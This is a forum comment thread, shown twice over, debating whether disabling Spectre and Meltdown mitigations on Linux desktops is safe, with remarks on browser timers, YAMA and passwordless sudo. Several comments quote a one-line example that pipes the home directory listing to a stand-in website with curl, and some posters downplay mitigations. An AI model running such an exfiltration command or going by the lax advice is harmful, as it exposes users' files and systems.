3 ms·

To be clear, SPECTRE leaks privileged memory at an OS-level -- up to in some cases allowing arbitrary virtual memory reads. While Javascript is the most likely

To be clear, SPECTRE leaks privileged memory at an OS-level -- up to in some cases allowing arbitrary virtual memory reads. While Javascript is the most likely attack vector for most people, you should not use this command on a system that's running untrusted code from anywhere in any context, and you should consider moving sensitive information like passwords off of the computer. I use uMatrix to disable Javascript by default on every site I visit, and I still would not feel safe running this command on anything other than a single-purpose device. That's not to say that there would never be a good reason to run it. A very imprecise, easy test I would propose is, "is your Linux system vetted enough or just unimportant enough that you would feel comfortable getting rid of users and running all of your software as root?" In which case, SPECTRE & friends is probably not a credible threat to you on that machine.

jcelerier 7y ago
> you should not use this command on a system that's running untrusted code from anywhere in any context I don't really understand this point. Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user with a script that'd involve `ps -u` and `/proc/yourpid/maps`, mitigations or not, unless you use something like QubesOS (but most people do not). Leaking bits with spectre would be a super long process versus... just doing that if you could already get the user to download your code.
- danShumway 7y ago
  > Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root? I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but... I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.
  - jcelerier 7y ago
    > There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root? I'll be honest, because that's the default on Linux (I'd make the effort to do that for my personal things at least - I'd never do that on computers with shared accounts or with work-related data). https://xkcd.com/1200 https://xkcd.com/1200 is as true as it ever was.
    - heavenlyblue 7y ago
      How can they read your email if you have locked your computer?
      - darkwater 7y ago
        "While I'm logged in"
  - tsss 7y ago
    It's not that the vulnerability isn't dangerous. It's that there are already _so_ many other vulnerabilities that outside of maybe JavaScript it doesn't make a whole lot of difference. Desktop linux security is basically this: https://i.redd.it/bqk0cv1r56c41.png https://i.redd.it/bqk0cv1r56c41.png Why worry about a whole in the fence gate when anyone can just walk around it?
    - jbotz 7y ago
      I don't think reality is quite like your little image here. There is no absolute security, ever, but we can create layers of difficulty for attackers as appropriate for our threat models. Someone with a reasonable amount of expertise and caution can use Linux on a personal computer in ways that make it very nearly impossible for a typical "criminal level" hacker (as opposed to nation-state level hacker) to steal information from them. Yes, that means not downloading arbitrary executables from the net, among other things, and certainly not running arbitrary code from the net like Javascript. When you do need to run something untrusted, run it isolated in a VM, etc. If you do these kinds of things, then it makes sense to also use stuff like Spectre mitigations.
- petronio 7y ago
  That's not necessarily true, there's been several security layers added these past few years. The YAMA LSM prevents user processes from reading the memory of processes that are not its children. It's already enabled by default in Ubuntu (but not Fedora, they decided to keep it disabled by default so that user gdb still works). There are definitely still holes in the Linux security model, especially regarding file access (any user process having access to all the user's files is far too broad), but that doesn't mean we should just leave known vulnerabilities open, especially since an attacker may not have all methods of attack available.
pantalaimon 7y ago
Don't browsers fudge the accuracy of the available clocks already to mitigate SPECTRE?
- danShumway 7y ago
  I would appreciate someone else who knows more than me about the current state of these attacks and more than me about Linux security in general answering this question. Take what I'm about to say with a grain of salt. My understanding is that Firefox still reduces timer accuracy, Chrome did, but increased timer accuracy again after adding other protections. I'm not sure if Chrome's protections rely on Meltdown vulnerabilities being patched on the OS level or not. It's been a while since I checked back on what the status was there, so I might be wrong. There are also some concerns about shared memory buffers, which is why I think some of the features around them haven't been enabled in WASM yet. I haven't checked the status on that stuff in a while either. In any case, for a vulnerability of this scale I bias towards saying people should practice defense in depth. Sometimes browsers have bugs in them, and this would be a particularly bad one. And again, there are userland native apps and systems and package managers that people need to worry about that go beyond browsers.
- saagarjha 7y ago
  Yes, but this doesn’t actually fix the issue; it just makes exploiting it harder. Fundamentally, even if you fudge clocks you can still average out things with enough measurements, and if you remove all of them you can busyloop and count iterations of that instead as a “timer”.
- beyondCritics 7y ago
  This just makes the attack harder, i was told. There are arguably plenty of ways to measure time within javascript without even a clock, you cannot disable that.
- josefx 7y ago
  They had to disable shared memory APIs for threading in JavaScript, because those could be used to implement accurate enough "clocks". That was a temporary measure and last I checked some browsers enabled them again once the memory access itself was patched. So by removing the memory access patch you are once again fully vulnerable.
alerighi 7y ago
Only if you are using multiple accounts and you are concerned about privilege escalation. But let's be honest, most people use only one user account, with sudo rights, and probably without sudo password because inserting them 1000 times a day is a pain. Thus every program without doing anything can access everything, it just needs to spawn a process to read stuff arount the FS, or in the assumption that yu have sudo without password, just gain root access and read /dev/mem. That is more simple than doing a SPECTRE attack. So who needs these mitigations? Who runs containers or sandbox where you want untrusted code to be isolated. Browsers are an example, but they have specific mitigations anyway, and doing an attack from JS is not that simple really. So really I'm not so worried about SPECTRE for a typical desktop usage. Of course if we talk about servers they are very important.
- monocasa 7y ago
  They are remotely exploitable without the mitigations in place. https://mlq.me/download/netspectre.pdf https://mlq.me/download/netspectre.pdf
- danShumway 7y ago
  > But let's be honest, most people use only one user account, with sudo rights, and probably without sudo password because inserting them 1000 times a day is a pain. The solution is to teach those users how to use sudo properly, not to teach them to be even more insecure than they already are. It's like saying, "I don't need to wear a seatbelt because I already drive my car at 90mph everywhere, so the seatbelt wouldn't make a difference in a crash anyway." If you have sudo set up without a password, fix that crud! This is not a new concept, the Linux community has been warning people about unprotected root access for over a decade.
  - LargoLasskhyfv 7y ago
    The concept is crud. For a personal computing device at least. Why should i bother moving along lines which have nothing in common AT ALL with personal use, instead historically shaped for reasons of accountabiliy and billing?

jcelerier 7y ago

> you should not use this command on a system that's running untrusted code from anywhere in any context I don't really understand this point. Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user with a script that'd involve `ps -u` and `/proc/yourpid/maps`, mitigations or not, unless you use something like QubesOS (but most people do not). Leaking bits with spectre would be a super long process versus... just doing that if you could already get the user to download your code.

danShumway 7y ago
> Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root? I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but... I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.
- jcelerier 7y ago
  > There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root? I'll be honest, because that's the default on Linux (I'd make the effort to do that for my personal things at least - I'd never do that on computers with shared accounts or with work-related data). https://xkcd.com/1200 https://xkcd.com/1200 is as true as it ever was.
  - heavenlyblue 7y ago
    How can they read your email if you have locked your computer?
    - darkwater 7y ago
      "While I'm logged in"
- tsss 7y ago
  It's not that the vulnerability isn't dangerous. It's that there are already _so_ many other vulnerabilities that outside of maybe JavaScript it doesn't make a whole lot of difference. Desktop linux security is basically this: https://i.redd.it/bqk0cv1r56c41.png https://i.redd.it/bqk0cv1r56c41.png Why worry about a whole in the fence gate when anyone can just walk around it?
  - jbotz 7y ago
    I don't think reality is quite like your little image here. There is no absolute security, ever, but we can create layers of difficulty for attackers as appropriate for our threat models. Someone with a reasonable amount of expertise and caution can use Linux on a personal computer in ways that make it very nearly impossible for a typical "criminal level" hacker (as opposed to nation-state level hacker) to steal information from them. Yes, that means not downloading arbitrary executables from the net, among other things, and certainly not running arbitrary code from the net like Javascript. When you do need to run something untrusted, run it isolated in a VM, etc. If you do these kinds of things, then it makes sense to also use stuff like Spectre mitigations.
petronio 7y ago
That's not necessarily true, there's been several security layers added these past few years. The YAMA LSM prevents user processes from reading the memory of processes that are not its children. It's already enabled by default in Ubuntu (but not Fedora, they decided to keep it disabled by default so that user gdb still works). There are definitely still holes in the Linux security model, especially regarding file access (any user process having access to all the user's files is far too broad), but that doesn't mean we should just leave known vulnerabilities open, especially since an attacker may not have all methods of attack available.

pantalaimon 7y ago

Don't browsers fudge the accuracy of the available clocks already to mitigate SPECTRE?

danShumway 7y ago
I would appreciate someone else who knows more than me about the current state of these attacks and more than me about Linux security in general answering this question. Take what I'm about to say with a grain of salt. My understanding is that Firefox still reduces timer accuracy, Chrome did, but increased timer accuracy again after adding other protections. I'm not sure if Chrome's protections rely on Meltdown vulnerabilities being patched on the OS level or not. It's been a while since I checked back on what the status was there, so I might be wrong. There are also some concerns about shared memory buffers, which is why I think some of the features around them haven't been enabled in WASM yet. I haven't checked the status on that stuff in a while either. In any case, for a vulnerability of this scale I bias towards saying people should practice defense in depth. Sometimes browsers have bugs in them, and this would be a particularly bad one. And again, there are userland native apps and systems and package managers that people need to worry about that go beyond browsers.
saagarjha 7y ago
Yes, but this doesn’t actually fix the issue; it just makes exploiting it harder. Fundamentally, even if you fudge clocks you can still average out things with enough measurements, and if you remove all of them you can busyloop and count iterations of that instead as a “timer”.
beyondCritics 7y ago
This just makes the attack harder, i was told. There are arguably plenty of ways to measure time within javascript without even a clock, you cannot disable that.
josefx 7y ago
They had to disable shared memory APIs for threading in JavaScript, because those could be used to implement accurate enough "clocks". That was a temporary measure and last I checked some browsers enabled them again once the memory access itself was patched. So by removing the memory access patch you are once again fully vulnerable.

alerighi 7y ago

Only if you are using multiple accounts and you are concerned about privilege escalation. But let's be honest, most people use only one user account, with sudo rights, and probably without sudo password because inserting them 1000 times a day is a pain. Thus every program without doing anything can access everything, it just needs to spawn a process to read stuff arount the FS, or in the assumption that yu have sudo without password, just gain root access and read /dev/mem. That is more simple than doing a SPECTRE attack. So who needs these mitigations? Who runs containers or sandbox where you want untrusted code to be isolated. Browsers are an example, but they have specific mitigations anyway, and doing an attack from JS is not that simple really. So really I'm not so worried about SPECTRE for a typical desktop usage. Of course if we talk about servers they are very important.

monocasa 7y ago
They are remotely exploitable without the mitigations in place. https://mlq.me/download/netspectre.pdf https://mlq.me/download/netspectre.pdf
danShumway 7y ago
> But let's be honest, most people use only one user account, with sudo rights, and probably without sudo password because inserting them 1000 times a day is a pain. The solution is to teach those users how to use sudo properly, not to teach them to be even more insecure than they already are. It's like saying, "I don't need to wear a seatbelt because I already drive my car at 90mph everywhere, so the seatbelt wouldn't make a difference in a crash anyway." If you have sudo set up without a password, fix that crud! This is not a new concept, the Linux community has been warning people about unprotected root access for over a decade.
- LargoLasskhyfv 7y ago
  The concept is crud. For a personal computing device at least. Why should i bother moving along lines which have nothing in common AT ALL with personal use, instead historically shaped for reasons of accountabiliy and billing?